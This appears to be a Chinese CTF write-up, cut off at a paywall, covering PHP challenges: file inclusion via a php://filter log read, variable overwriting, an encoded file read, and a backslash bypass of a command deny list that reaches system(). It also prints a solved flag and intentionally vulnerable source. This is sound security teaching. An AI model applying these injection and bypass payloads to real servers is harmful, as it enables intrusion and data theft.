Web
简单的web
PHP代码审计
<?php
highlight_file(__FILE__);
error_reporting(0);
echo "try to read source ?action=";
$action = $_GET['action'];
if (isset($action)) {
if (preg_match("/base|data|input|zip|zlib/i", $action)) {
echo "<script>alert('you are A Hacker!!!')</script>";
} else {
include("$action");
}
}
?>
文件包含,但是过滤了很多关键字,常见的PHP伪协议无法使用。但是可以进行远程文件包含:

赛后看到还有一种解法,仍然可以通过PHP伪协议,通过ROT13编码包含Nginx日志文件找到flag路径,然后包含flag文件获得答案:
/?action=php://filter/read=string.rot13/resource=/var/log/nginx/access.log
你玩过2048吗
玩过,合成数字就行了。

查看Jscript代码,定位到关键逻辑:

当分数达到2048时,显示flag,直接运行Jscript代码即可:
confirm(Decode('l%C2%85%C2%94%C2%96%C2%97%C2%9A%C3%81%C3%A1%C3%87%C3%87%C3%8C%C2%9Fq%C2%9A%C3%83%C2%97id%C2%95%C2%94af%C2%97%C3%85%C2%98jgipj%C2%96%C3%89%C2%9Dne%C2%96%C2%97gh%C2%AF'));
// DASCTF{faff98ba631d015bc552791ed950f162}

EasyPhp-v2
右键查看源码,看到PHP代码:
<?php
foreach ($_POST as $item => $value){
$$item=$$value;
$secret = $$item;
}
foreach ($_GET as $key => $value){
if ($key=='flag'){
$str=$value;
$$str=$secret;
}
}
if (isset($hehe)){
echo "<center>".$hehe."</center>";
}
//flag+flaag=DASCTF{XXXXXXX}
?>
考察变量覆盖漏洞,使用POST方式传入value为flag的键值对,使得flag比变量即flag的前半段赋给secret变量。再通过GET方式使得hehe变量的值等于secret,即flag变量,打印输出即可。
# GET
?flag=hehe
# POST
a=flag
a=fllag
black
主页啥也没有,view-source查看源代码,发现step.php页面。直接访问的话会快速跳转到black.php空白页面,这里如果查看源代码的话会发现还有一个EDG.php页面,访问之:

看到一个图片,查看源码,页面返回了图片文件的Base64编码:

关注到URL的参数如下:
/EDG.php?img=353736643331376136343537343637353531366433343364
发现该参数经过了两次Base64编码和两次十六进制编码,解码如下:
353736643331376136343537343637353531366433343364
# 十六进制解码
576d317a64574675516d343d
# 十六进制解码
Wm1zdWFuQm4=
# Base64解码
ZmsuanBn
# Base64解码
fk.jpg
将本页面EDG.php进行如上编码,传入img参数:
/EDG.php?img=3535366335363533353334353738373535313664333936613531353433303339
返回页面查看源代码,将返回数据进行Base64解码,得到EDG.php的源码:
<center>
<?php
error_reporting(0);
header('content-type:text/html;charset=utf-8');
include("flag.php");//flag in flag.php
$cmd = $_GET['cmd'];
if (!isset($_GET['img']))
echo '<script language=javascript>window.location.href="EDG.php?img=353736643331376136343537343637353531366433343364"</script>';
$file = base64_decode(base64_decode(hex2bin(hex2bin($_GET['img']))));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo 'ä½ æƒ³è¦flagï¼Ÿè¡Œï¼Œé‚£æˆ‘ç»™ä½ å§~';
echo '<script language=javascript>window.location.href="flag.php"</script>';
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|diff|file|echo|sh|'|\"|`|;|,|\\|xA0|{|}|[|]|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
system($cmd);
}?>
进行代码审计,可以通过GET方式的cmd参数进行命令执行,但是过滤了很多命令,使用反斜杠\绕过即可:
EDG.php?img=123&cmd=who\ami

sqlnm
本题可以参考我之前写的一篇Writeup:
某单位2021年CTF初赛Web4-Sqlnm_2ha0yuk7on.的博客-优快云博客
我当时是用SQL盲注直接解的,赛后发现其实本题应该后面还有一个Vim源码泄露,我也补充进之前这篇文章了,详情请移步观看。
WriteIt
主页啥也没有,查看robots.txt,发现oh_somesecret页面:
<?php
highlight_file(__FILE__);
class OhYouFindIt{
public $content = "Hello Hacker.<br>";
function __destruct(){
echo $this->content;
}

最低0.47元/天 解锁文章
1475





